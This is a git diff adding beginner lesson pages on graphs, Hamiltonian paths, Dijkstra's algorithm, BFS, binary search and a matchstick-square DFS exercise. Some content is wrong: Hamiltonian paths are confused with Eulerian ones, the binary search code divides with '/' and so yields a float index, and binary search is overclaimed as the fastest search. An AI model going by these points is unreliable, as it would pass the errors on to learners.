+In order to solve the problem, the map is turned into a graph. Each piece of land or island is represented as a vertex, and each bridge is represented as an edge connecting the vertices.
+
+
+
+
+
+There is no Hamiltonian path because there are too many vertices with odd edges. In order to visit all the bridges, people have to revisit the land or island.
+
+Another example of a graph that doesn't have a **Hamiltonian path**:
+
+
+
+Note that there are two vertices `A` `B` with odd degrees.
+
+Example of a **Hamiltonian Path**:
+
+
+
+This graph has the **Hamiltonian path** `A` `B` `C` `D` `E` `B`, but it doesn't have a **Hamiltonian cycle**.
+
+
+
+Example of a **Hamiltonian Cycle**:
+
+You can choose whatever vertex you want and follow the same direction until you return to the first vertex.
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/5.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/5.md
new file mode 100644
index 00000000..87e3add9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/5.md
@@ -0,0 +1,82 @@
+
+
+
+
+
+
+## Directed Graphs
+
+Directed graphs have edges with direction. The edges indicate a *one-way* relationship, in that each edge can only be traversed in a single direction. This figure below shows a simple directed graph. Edges are usually represented by arrows pointing in the direction the graph can be traversed.
+
+
+
+
+
+
+
+> The graph can be traversed from vertex **A** to **B**, but not in the opposite direction.
+
+
+
+
+
+> Directed Graph
+
+
+
+### Python Code:
+
+```python
+import networkx as nx
+import matplotlib.pyplot as plt
+
+G = nx.DiGraph() #Create an empty directed graph structure with no nodes or edges.
+G.add_edges_from(
+ [('A','B'),('B','C'),('C','D'),('D','E')]) #add edges A to B, B to C, C to D, D to E
+#Because it's a directed graph, the order matters. ('B','A') will create a edge from B to A.
+
+#Set the values to determine the nodes' color.
+val_map = {'A': 1.0,
+ 'D': 0.5714285714285714,
+ 'H': 0.0}
+
+values = [val_map.get(node, 0.25) for node in G.nodes()]
+
+
+```
+
+> Here, we inputted the number of edges and stored their values into val_map (a dictionary). We then used the values in val_map to print out the visualization of the graph by making a values list and used the get()* function.
+
+> *A list is created by placing all the items (elements) inside square brackets separated by commas. It can have any number of items and they may be of different types (integer, float, string, and so on).
+
+> *The get() method is used with a dictionary. It returns the value for the specified key if the key is in the dictionary.
+
+```python
+#Set edge colors and specify the edges you want here
+red_edges = [('A', 'B'), ('B', 'C'),('C','D'),('D','E')]
+edge_colours = ['black' if not edge in red_edges else 'red'
+ for edge in G.edges()]
+black_edges = [edge for edge in G.edges() if edge not in red_edges]
+
+#Need to create a layout when doing
+#Separate calls to draw nodes and edges
+pos = nx.spring_layout(G)
+#draw the nodes of G
+nx.draw_networkx_nodes(G, pos, cmap=plt.get_cmap('jet'),
+ node_color = values, node_size = 500)
+#Draw labels on nodes of G
+nx.draw_networkx_labels(G, pos)
+#Draw the edges
+nx.draw_networkx_edges(G, pos, edgelist=red_edges, edge_color='r', arrows=True)
+nx.draw_networkx_edges(G, pos, edgelist=black_edges, arrows=False)
+plt.show()
+```
+
+> The nx represents the networkx module that we imported in the very beginning. The draw_networkx_nodes, draw_networkx_labels, and draw_networkx_edges are some of the functions of the module. They are used to draw out nodes, node labels, and edges on the graph.
+
+
+
+### Output:
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/6.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/6.md
new file mode 100644
index 00000000..9b1110f6
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/6.md
@@ -0,0 +1,45 @@
+
+
+
+
+
+
+## Dijkstra's Algorithm
+
+Dijkstra's algorithm is used to find the shortest path between nodes *a* and *b*. It picks the unvisited vertex with the lowest distance, calculates the distance to each unvisited neighbor, and updates the neighbor's distance if it's smaller. It was conceived by computer scientist Edsger W. Dijkstra in 1956 and published three years later.
+
+Some characteristics of Dijkstra's algorithm:
+
+- Dijkstra's algorithm works on both directed and undirected graphs
+
+- All edges must have non-negative weights
+
+- Graph must be connected
+
+Dijkstra's algorithm will assign some initial distance values and improve them step by step.
+
+##### Initializing the graph:
+
+1. Mark all nodes as unvisited. Create a set of all the unvisited nodes called the *`unvisited set`*.
+
+ **unvisited set = {"a", "b", "c", "d"}**
+
+ 
+
+2. In order to keep track of the total distance from the start node to its destination, we use `distance` to store the current total weight of the smallest path.
+
+ Assign to every node a tentative distance value, set the distance equal to zero for our initial node (since it's 0 away from the initial node) and set the distance to infinity for all other nodes.
+
+ Also, set the initial node as current because we will process the initial node first. In this case, we start with node a.
+
+ 
+
+###### **current_node = a**
+
+###### **unvisited set = {"a", "b", "c", "d"}**
+
+| | a | b | c | d |
+| -------- | --------- | --------- | --------- | --------- |
+| visited? | unvisited | unvisited | unvisited | unvisited |
+| distance | 0 | ∞ | ∞ | ∞ |
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/7.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/7.md
new file mode 100644
index 00000000..ed6e652f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/7.md
@@ -0,0 +1,103 @@
+
+
+
+
+
+
+## Using Dijkstra's Algorithm on the Current Graph
+
+
+
+
+
+
+
+###### current_node = a
+
+| | a | b | c | d |
+| -------- | --------- | --------- | --------- | --------- |
+| visited? | unvisited | unvisited | unvisited | unvisited |
+| distance | 0 | ∞ | ∞ | ∞ |
+
+
+
+3. For the current node, consider all of its unvisited neighbors and calculate their *tentative* distances through the current node. If the distance is smaller than what the node currently has, we update the distance of the node.
+
+ 
+
+ ###### current_node = a
+
+ ###### unvisited set = {"a", "b", "c", "d"}
+
+ | | a | b | c | d |
+ | -------- | --------- | --------- | --------- | --------- |
+ | visited? | unvisited | unvisited | unvisited | unvisited |
+ | distance | 0 | 6 | ∞ | ∞ |
+
+ In this case, `a ` has 2 neighbors: ` b` and ` c`. Both `b` and `c` are unvisited, so we need to calculate their distances. First, let's process `b`. `b` will have a new distance of 6, as b is 6 away from the initial node `a` and 6 is smaller than ∞. Thus, we will update the distance for `b` to 6.
+
+
+
+ Now, let's process node `c`:
+
+ 
+
+###### current_node = a
+
+###### unvisited set = {"a", "b", "c", "d"}
+
+| | a | b | c | d |
+| -------- | --------- | --------- | --------- | --------- |
+| visited? | unvisited | unvisited | unvisited | unvisited |
+| distance | 0 | 6 | 4 | ∞ |
+
+ Going through the same process as node `b`, the distance of `c` will now be updated to 4.
+
+4. When we are done considering all of the unvisited neighbors of the current node, mark the current node as "visited" and remove it from the *`unvisited set`*.
+
+###### current_node = a
+
+###### unvisited set = { "b", "c", "d"}
+
+| | a | b | c | d |
+| -------- | ------- | --------- | --------- | --------- |
+| visited? | visited | unvisited | unvisited | unvisited |
+| distance | 0 | 6 | 4 | ∞ |
+
+
+
+5. If the destination node has been marked visited (when planning a route between two specific nodes) or if the smallest tentative distance among the nodes in the *unvisited set* is infinity (when planning a complete traversal, this occurs when there is no connection between the initial node and remaining unvisited nodes), then stop. The algorithm has finished.
+6. Otherwise, select the unvisited node marked with the smallest tentative distance and set it as the new "current node." Then, go back to step 3.
+
+
+
+###### current_node = c
+
+###### unvisited set = { "b", "d"}
+
+| | a | b | c | d |
+| -------- | ------- | --------- | ------- | --------- |
+| visited? | visited | unvisited | visited | unvisited |
+| distance | 0 | 6 | 4 | 10 |
+
+Since `c` has a smaller distance than b, we process c first. We update the distance of `d` to 10, as 4 + 6 = 10. We mark c as "visited" and delete it from the *`unvisited set`*.
+
+Then, we process the node `b`, as the distance of `b` is smaller than the distance of `d`.
+
+
+
+
+
+###### current_node = b
+
+###### unvisited set = {"d"}
+
+| | a | b | c | d |
+| -------- | ------- | ------- | ------- | --------- |
+| visited? | visited | visited | visited | unvisited |
+| distance | 0 | 6 | 4 | 8 |
+
+`b` has a unvisited neighbor `d` . Going through `b`, the path from `a` to ` d` is 6 + 2 = 8, which is smaller than 10 ( `d`'s current distance). Thus, we update the distance of `d` to 8. Set `b` as "visited" and delete it from the *`unvisited set`*.
+
+According to step 5, since we only have a unvisited node left and it's already updated to the smallest path, we're done!
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/8.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/8.md
new file mode 100644
index 00000000..13e64985
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/8.md
@@ -0,0 +1,44 @@
+
+
+
+
+
+
+### Travel in Europe: A Real-Life Application of Dijkstra's Algorithm
+
+Let's say we need to find out the shortest path from point r to point e in Europe. We can use Dijkstra's algorithm to do this.
+Suppose that any geographical map has a graph. Locations on the map are our **nodes** in the algorithm. Roads between locations are **edges.** **Weights** of the edges are the distance between locations.
+
+
+
+
+We’ll start by constructing this graph in Python:
+
+**Step 1:** Create a class called Graph. Use the `__init__()` function to assign values for edges and weights.
+
+```python
+from collections import defaultdict
+
+class Graph():
+ def __init__(self):
+ """
+ self.edges is a dict of all possible next nodes
+ e.g. {'r': ['i', 'a', 'b', 'd'], ...}
+ self.weights has all the weights between two nodes,
+ with the two nodes as a tuple as the key
+ e.g. {('r', 'i'): 7, ('r', 'a'): 2, ...}
+ """
+ self.edges = defaultdict(list)
+ self.weights = {}
+```
+
+**Step 2:** Create a function inside class Graph, which will add directed weighted edges to the graph.
+
+```python
+def add_edge(self, from_node, to_node, weight):
+ # Note: assumes edges are bi-directional
+ self.edges[from_node].append(to_node)
+ self.edges[to_node].append(from_node)
+ self.weights[(from_node, to_node)] = weight
+ self.weights[(to_node, from_node)] = weight
+```
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/9.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/9.md
new file mode 100644
index 00000000..4c83d16c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/9.md
@@ -0,0 +1,42 @@
+
+
+
+
+
+
+**Step 3**: Assign the class Graph to a variable graph so that we can use the function in the class.
+
+```python
+graph = Graph()
+```
+
+
+
+**Step 4**: Implement the Europe travel graph with all directed weighted edges.
+
+```edges = [
+edges = [('r', 'i', 7),
+ ('r', 'a', 2),
+ ('r', 'b', 3),
+ ('r', 'g', 4),
+ ('i', 'a', 3),
+ ('i', 'm', 4),
+ ('a', 'm', 4),
+ ('a', 'f', 5),
+ ('b', 'd', 2),
+ ('m', 'c', 1),
+ ('c', 'f', 3),
+ ('n', 'f', 2),
+ ('n', 'e', 2),
+ ('k', 'l', 6),
+ ('k', 'j', 4),
+ ('k', 'd', 4),
+ ('l', 'd', 1),
+ ('j', 'e', 5),
+]
+
+for edge in edges:
+ graph.add_edge(*edge)
+```
+
+Now, we should have a Europe travel graph just like the one from before.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/README.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/README.md
new file mode 100644
index 00000000..4cdba671
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity1_Graphs/README.md
@@ -0,0 +1,19 @@
+# Activity/Lab Name
+Graphs
+
+# Long Summary
+Students will learn about graph data structures. They will become familiar with different types of commonly used graphs. They will then learn popular graph algorithms.
+
+# Short Summary
+Students will learn about graphs and different ways computer scientists use them.
+
+# Criteria
+1. What does Dijkstra's algorithm do?
+2. What is the difference between a directed and undirected graph?
+3. What is a Hamiltonian path?
+
+# Difficulty
+Easy
+
+# Image
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/1.md
new file mode 100755
index 00000000..46e44c22
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/1.md
@@ -0,0 +1,45 @@
+
+
+
+
+
+
+**The Importance of Searching**
+
+Searching is the process of finding an element in a data structure, and in computer science, there are many different kinds of sorting, such as linear search, binary search, depth-first search, breadth-first search, and so on. We will be explaining these searching methods in more depth in this activity, and we will start with breadth-first search below! Searching is a key concept in computer science—the applications are endless!
+
+As an example, suppose I love watching movies. I have collections of all of the *Harry Potter*, *The Lord of the Rings*, and *James Bond* films. I have invited some friends over to watch them with me, but I got home late and need to find the movies quickly. How can I find the movies that I want to watch in the most efficient manner possible?
+
+
+
+Now extend this problem to wide-scale computer systems. What if we needed to find certain information (say, for example, medical records) from stored data in a timely fashion? What sort of algorithms should we implement? Luckily, Computer Scientists have developed answers for us!
+
+**Breadth-first search** (**BFS**) is an algorithm for traversing tree or graph data structures. It starts at the **tree root** (or some arbitrary vertex of a graph, sometimes referred to as a 'search key'), and explores all of the neighbor **vertices** at the present depth prior to moving on to the vertices at the next depth level.
+
+
+**The Importance of Graphs**
+
+A graph in computer science is a visual representation of a set of nodes that are connected together by edges, and graphs allow us to view information and relationships in data structures in a way that is easier to read and understand!
+
+What can we do with graphs? Graph traversal, or graph search, is the process of visiting each vertex in a graph. This is important because, as we traverse through a graph, we can change or update each vertex that is visited, which can be very useful!
+
+How can we store graphs? Graphs can be stored in lists and matrices, and for instance, the two most commonly-used methods to store a graph are in an adjacency list and an adjacency matrix. An adjacency list is an array that notes each node with the vertices that are directly connected, or adjacent, to it by an edge, and an adjacency matrix is a matrix that notes which nodes are adjacent to each other with a "1" (if the nodes are not adjacent, then this is noted by a "0").
+
+
+
+**Breadth-first search (BFS)**
+
+Now that we have learned about the importance of searching and graphs, let's start learning more about different kinds of searching algorithms, starting with Breadth-first search (BFS)!
+
+Breadth-first search (BFS) is an algorithm for traversing or searching tree or graph data structures. It starts at the tree root (or some arbitrary node of a graph, sometimes referred to as a 'search key'), and explores all of the neighbor nodes at the present depth prior to moving on to the nodes at the next depth level.
+
+
+
+As in the example given above, BFS algorithm starts at S, traverses to A, B, and C (the first layer), then traverses to D, E, and F (second layer), and then finally to G (third layer). More formally, BFS employs the following rules.
+
+- **Rule 1** − Visit the adjacent unvisited vertex. Mark it as visited. Display it. Insert it in a queue.
+- **Rule 2** − If no adjacent vertex is found, remove the first vertex from the queue.
+- **Rule 3** − Repeat Rule 1 and Rule 2 until the queue is empty.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/10-checkpoint.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/10-checkpoint.md
new file mode 100644
index 00000000..1782be62
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/10-checkpoint.md
@@ -0,0 +1,5 @@
+**Name:** Binary Search Time Complexity
+
+**Instruction:** Why is the worst-case time complexity of binary search O(logn) instead of O(n)?
+
+**Type:** Short Answer
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/10.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/10.md
new file mode 100644
index 00000000..c0f8fb36
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/10.md
@@ -0,0 +1,71 @@
+
+
+
+
+
+
+Unlike in BFS and DFS, there are three time complexities for binary search. That is because in BFS and DFS, you have to traverse the whole graph. In binary search, however, you stop when you find what you are looking for.
+
+Now, let us delve into the code:
+
+```python
+def binarySearch (arr, l, r, x):
+
+ if r >= l:
+
+ mid = l + (r - l)/2
+
+ if arr[mid] == x:
+ return mid
+
+ elif arr[mid] > x:
+ return binarySearch(arr, l, mid-1, x)
+
+ else:
+ return binarySearch(arr, mid + 1, r, x)
+
+ else:
+ return -1
+```
+
+### Best Case
+
+The first time complexity is the best-case time complexity. This means that this is the best-case scenario, or the fastest that the algorithm will run.
+
+
+
+In binary search, the best-case scenario is when the first value you look at after cutting the list in half is the value you are looking for. If this were to happen, then the best-case time complexity would be O(1) time. This can be seen in the second if statement of the code:
+
+```python
+if arr[mid] == x:
+ return mid
+```
+
+As you can see, when the middle of the list arr is equal to what you are searching for, it immediately stops recursing. Therefore, if the value you are looking for is exactly in the middle of the first recursion, then you will immediately stop the algorithm.
+
+### Average Case and Worst Case
+
+The next two time complexities are called average case and worst case. Average case is the average of all run times. The worst case is the worst-case scenario, or the slowest the algorithm will run in.
+
+
+
+In binary search, the worst case is when the algorithm can't find what it is looking for. In that case, the algorithm will keep on halving the list until it can no longer do so (meaning there is only one element left in the list). In that scenario, the worst-case time complexity would be O(logn) time, because you will NEVER actually iterate through the whole list. This can be seen in the elif and else statements of the code:
+
+```python
+elif arr[mid] > x:
+ return binarySearch(arr, l, mid-1, x)
+
+else:
+ return binarySearch(arr, mid + 1, r, x)
+```
+
+As you may notice, you will iterate only half of the list in each iteration, thus making it O(logn). Since the best-case scenario is very unlikely to happen, then the average-case time complexity shall be the same as the worst-case time complexity: O(logn).
+
+### Why is binary search so good?
+
+Now that we know the time complexities, what makes binary search so good? Well, the answer to that is quite simple: It is the fastest known searching algorithm.
+
+
+
+It has the best average time complexity amongst all searching algorithms available out there. In fact, it would not be a lie to say that if you were to create a better algorithm than binary search, then you would win an award.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/11.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/11.md
new file mode 100644
index 00000000..9f578461
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/11.md
@@ -0,0 +1,37 @@
+
+
+
+
+Now that we've learned how to implement various searching algorithms, let's use the knowledge and code developed throughout this activity to figure out how to solve this problem:
+
+Remember the story of the Little Match Girl? Let's imagine that we buy a pack of matchsticks from the girl and, with our matchsticks of assorted lengths, try to find out if we can make one square by using up all the given matchsticks. We cannot *not* break any stick, but we can link them up, and each matchstick must be used *exactly* one time.
+
+Our input will be the given matchsticks we purchased, represented by integers of their lengths. Our output will either be true or false, to represent whether or not we could make one square using all the matchsticks fin the pack from the Little Match Girl.
+
+**Note these restrictions:**
+
+- The number of given matchsticks in the inputted array will not exceed `15`.
+- The sum of the lengths of the given matchsticks is in the range of `0` to `10^9`.
+
+
+
+Below are examples of what our inputs may look like and what our outputs should look like:
+
+**Example 1:**
+
+```
+Input: [1,1,2,2,2]
+Output: true
+
+# Explanation: You can form a square with each side having the length of 2, with one side of the square formed with the two sticks that each have the length of 1.
+```
+
+**Example 2:**
+
+```
+Input: [3,3,3,3,4]
+Output: false
+
+# Explanation: You cannot find a way to form a square with all the matchsticks.
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/12.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/12.md
new file mode 100644
index 00000000..8ec031e8
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/12.md
@@ -0,0 +1,64 @@
+
+
+Let's start by determining the base cases for this problem and forming with a method to approaching this problem:
+
+Considering that we are trying to form a square, this problem boils down to splitting the given input array of integers into four subsets that fulfill the following requirements:
+
+- all four subsets are *mutually exclusive*, or there is no specific element shared between any two of these subsets
+- all four subsets have the same value (total sum / 4), which represents the length of the sides of the square
+
+**Base Cases:**
+
+- When there are no matchsticks at all
+- When the total sum of all given matchsticks is not divisible by 4, implying that having four subsets of equal value is impossible (each subset represents a side of the square; since a square has four equal sides, these subsets must of equal value)
+
+---
+
+First, we will determine the parameter and variables of our function `makesquare()`. Remember that the given input is an array of integers that represent the lengths of each matchstick. Thus, in order to know the total number of matches we have, we need to find the length of the array.
+
+```python
+def makesquare(nums):
+ # Number of matchsticks we have
+ L = len(nums)
+
+ # Perimeter of the square (if one can be formed)
+ perimeter = sum(nums)
+
+ # Possible length of the sides of the square
+ possible_side = perimeter // 4
+```
+Then, we will set our base cases, which we determined above.
+
+```python
+# If there are no matchsticks, a square cannot be formed
+if not nums:
+ return False
+
+# If the perimeter cannot be equally split by 4, a square cannot be formed
+if possible_side * 4 != perimeter:
+ return False
+```
+---
+
+Now, this is what we should have so far!
+
+```python
+def makesquare(nums):
+ # Number of matchsticks we have
+ L = len(nums)
+
+ # Perimeter of the square (if one can be formed)
+ perimeter = sum(nums)
+
+ # Possible length of the sides of the square
+ possible_side = perimeter // 4
+
+ # If there are no matchsticks, a square cannot be formed
+ if not nums:
+ return False
+
+ # If the perimeter cannot be equally split by 4, a square cannot be formed
+ if possible_side * 4 != perimeter:
+ return False
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/13.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/13.md
new file mode 100644
index 00000000..e84e32ad
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/13.md
@@ -0,0 +1,31 @@
+
+
+Now that we've established our variables and base cases, let's move on to coding our approach:
+
+**Depth First Search (DFS) Approach**:
+
+It is possible that any given matchstick can be a part of any of the four sides of the resulting square, but choosing which matchstick goes to which side of the resulting square is something we need to figure out.
+
+This means that for each matchstick in our given array, we will have four different options each, representing the side of the square or subset that this matchstick could be a part of.
+
+For example, let's assume that for a given array of matchsticks, the total sum of the matchsticks' lengths is 16. This means that every side of the resulting square must have the length of 4. If there is a matchstick that has the length of 3, then it could potentially be a part of any side—our task is to find out which side it best belongs to.
+
+---
+
+Using DFS, we can try out all four options by running through the algorithm recursively until we exhaust all possibilities or successfully arrange our matchsticks to form the square.
+
+Building from the code we have so far, we will first sort the matchstick array in reverse order, allowing our DFS algorithm to perform recursion more efficiently. Then, we will create an additional array called `sums` to store values representing the current length of the square's sides.
+
+```python
+nums.sort(reverse=True)
+sums = [0 for _ in range(4)]
+```
+Now, we will start building our DFS algorithm by creating a nested function called `dfs()` for our function `makesquare()`. Let's start by allowing the parameter of `dfs()` to take the current matchstick index we will process.
+
+Then, we will create the **base case** for the recursion process within our `dfs()` function by checking if we already met the end of the matchsticks input array. If so, we will check if the square has been formed. If three equal sides were formed, the fourth side will be of the same length, leading to `True`.
+
+```python
+def dfs(index):
+ if index == L:
+ return sums[0] == sums[1] == sums[2] == possible_side
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/14.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/14.md
new file mode 100644
index 00000000..cefa6bab
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/14.md
@@ -0,0 +1,41 @@
+
+
+After establishing the base cases for our nested `dfs()` algorithm, let's continue on to the remaining code:
+
+For the matchstick selected with the current index, we have four different options. This means it can be part of any side of the square; we will test out all four options through recursion.
+
+```python
+for i in range(4):
+```
+
+Starting with the first option, we will check if the matchstick fits into the remaining space on the current side. If it does, we shall proceed by performing recursion.
+
+Also, remember that `nums` is the parameter given to the `makesquare()` function, or the array of integers representing the lengths of each matchstick.
+
+```python
+if sums[i] + nums[index] <= possible_side:
+ sums[i] += nums[index]
+```
+
+Then, if there is more recursion to be done, we will return `True` and continue.
+
+```python
+if dfs(index + 1):
+ return True
+```
+If not, we will revert the effect of recursion since we no longer need it.
+
+```python
+sums[i] -= nums[index]
+```
+
+We are done coding the recursion process, but if the matchstick on the current index did not fulfill even the first condition (if the matchstick could fit into the remaining space on the current side), then the function will skip to the end and return `False`.
+
+```python
+return False
+```
+Don't forget to return your result in the end!
+
+```python
+return dfs(0)
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/15.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/15.md
new file mode 100644
index 00000000..4ebe7a44
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/15.md
@@ -0,0 +1,44 @@
+
+
+Now, this is what your completed code of `makesquare()`should look like!
+
+```python
+def makesquare(nums):
+ # Number of matchsticks we have
+ L = len(nums)
+
+ # Perimeter of the square (if one can be formed)
+ perimeter = sum(nums)
+
+ # Possible length of the sides of the square
+ possible_side = perimeter // 4
+
+ # If there are no matchsticks, a square cannot be formed
+ if not nums:
+ return False
+
+ # If the perimeter cannot be equally split by 4, a square cannot be formed
+ if possible_side * 4 != perimeter:
+ return False
+
+ # Our recursive dfs function
+ def dfs(index):
+
+ # If we reach the end of matchsticks array, we check if the square was formed or not
+ if index == L:
+ # If 3 equal sides were formed, 4th will be the same as these three
+ return sums[0] == sums[1] == sums[2] == possible_side
+
+ # The current matchstick can belong to any of the 4 sides
+ for i in range(4):
+ # If this matchstick can fit in the remaining space of the current side
+ if sums[i] + nums[index] <= possible_side:
+ # Perform ecursion
+ sums[i] += nums[index]
+ if dfs(index + 1):
+ return True
+ # Revert the effects of recursion since we no longer need it
+ sums[i] -= nums[index]
+ return False
+ return dfs(0)
+```
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/16.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/16.md
new file mode 100644
index 00000000..f6ed72b8
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/16.md
@@ -0,0 +1,13 @@
+
+
+Let's find out how efficient our `makespare()` function is and what its space and time complexities are:
+
+**Complexity Analysis**:
+
+- **Time Complexity**: O(4^N)
+
+ We have a total of N matchsticks. For each matchstick, we have four different possibilities for the subset each might belong to or the side of the square each might be a part of.
+
+- **Space Complexity**: O(N)
+
+ For recursive solutions, the space complexity is the stack space occupied by all the recursive calls. The deepest recursive call would be of size N, so the space complexity is O(N). There is no additional space other than the recursion stack in this solution.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/2.md
new file mode 100644
index 00000000..446bd12d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/2.md
@@ -0,0 +1,17 @@
+**Breadth-First Search**
+
+Let's take a deeper look at how BFS works.
+
+
+
+**Step 1**: We start by creating a queue. It's important that we use a queue here to take advantage of the first-in, first-out structure. We want the first vertex we visit in a layer and part of the queue to be the next vertex we pop from the queue so we can look at its adjacent vertices next. This upholds the breadth-first, or layered, traversal.
+
+**Step 2**: We start at the first vertex and mark it as "visited."
+
+**Steps 3-5**: We then begin to look at the adjacent vertices. We push all of the connected vertices to the queue, marking each as "visited" as we go.
+
+**Step 6**: Once we've added each vertex in the layer, we pop from the queue, and begin the same process as with the first vertex we pushed.
+
+**Step 7**: We push any adjacent vertices of the vertex we just popped, and mark them as "visited."
+
+We continue this process, popping from the queue and checking for adjacent vertices, until the queue is empty. After all vertices in the tree have been pushed to the queue, we keep popping from it. Since all the vertices have been visited, no new vertices will be pushed, and the queue will be cleared.
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/3-checkpoint.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/3-checkpoint.md
new file mode 100644
index 00000000..e9cb0481
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/3-checkpoint.md
@@ -0,0 +1,5 @@
+**Name**: BFS Code Check-up
+
+**Instruction**: Submit a screenshot of your code.
+
+**Type**: Image Checkpoint
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/3.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/3.md
new file mode 100755
index 00000000..d3c4f3b2
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/3.md
@@ -0,0 +1,172 @@
+
+
+
+
+
+
+This code is used to test our BFS algorithm.
+
+```python
+g = Graph()
+g.addEdge(0, 1)
+g.addEdge(0, 2)
+g.addEdge(1, 2)
+g.addEdge(2, 0)
+g.addEdge(2, 3)
+g.addEdge(3, 3)
+
+print ("Following is Breadth First Traversal"
+ " (starting from vertex 2)")
+g.BFS(2)
+```
+
+We first construct an empty Graph object.
+
+```python
+g = Graph()
+```
+
+We then add edges between our vertices as we build our graph.
+
+```python
+g.addEdge(0, 1)
+g.addEdge(0, 2)
+g.addEdge(1, 2)
+g.addEdge(2, 0)
+g.addEdge(2, 3)
+g.addEdge(3, 3)
+```
+
+
+
+Finally, we call our BFS function on our graph and print out the order the vertices were visited in!
+
+```python
+print ("Following is Breadth First Traversal"
+ " (starting from vertex 2)")
+g.BFS(2)
+```
+
+How is the BFS internally implemented?
+
+The first step in implementing the BFS algorithm is to create a Graph class.
+
+```python
+from collections import defaultdict
+class Graph:
+
+ def __init__(self):
+ self.graph = defaultdict(list)
+```
+
